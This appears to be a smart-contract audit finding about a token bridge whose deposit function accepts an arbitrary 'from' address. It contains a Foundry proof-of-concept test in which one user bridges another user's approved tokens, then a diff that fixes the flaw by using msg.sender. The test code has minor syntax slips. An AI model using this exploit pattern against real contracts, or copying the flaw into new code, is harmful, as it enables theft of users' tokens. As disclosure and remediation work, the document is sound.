[H-1] User can use other address ERC20 contract balance to bridge to L2
Description:
The depositTokensToL2
method allows specifying from which address the tokens to be transfered to the vault. If user A has already approved the bridge to spend tokens on behalf of him, another user B can use this allowance before user A to bridge some tokens in his favour.
Impact:
High
Tools used:
foundry
Proof of Concept:
function testEveryoneCanDepositEveryoneTokensToL2() public {
address me = makeAddr("me")
vm.prank(deployer);
token.transfer(me, 500e18);
uint256 starting_me_balance = token.balanceOf(me);
uint256 starting_user_balance = token.balanceOf(user);
console.log("me balance", starting_me_balance);
console.log("user balance", starting_user_balance);
uint256 amount = 10e18
vm.prank(me);
token.approve(address(tokenBridge), amount);
vm.prank(user);
tokenBridge.depositTokensToL2(me, userInL2, amount);
console.log("me balance", token.balanceOf(me));
console.log("user balance", token.balanceOf(user));
assertEq(token.balanceOf(me), starting_me_balance - amount);
// Use msg.sender when depositing to L2
}
Recommended Mitigation:
Remove from address from arguments and use msg.sender
@@ -55,14 +57,15 @@ contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
* @param l2Recipient The address of the user who will receive the tokens on L2
* @param amount The amount of tokens to deposit
*/
- function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+ // (H-1) why from address is supplied this way, Alice can send Bob's tokens to L2
+ function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}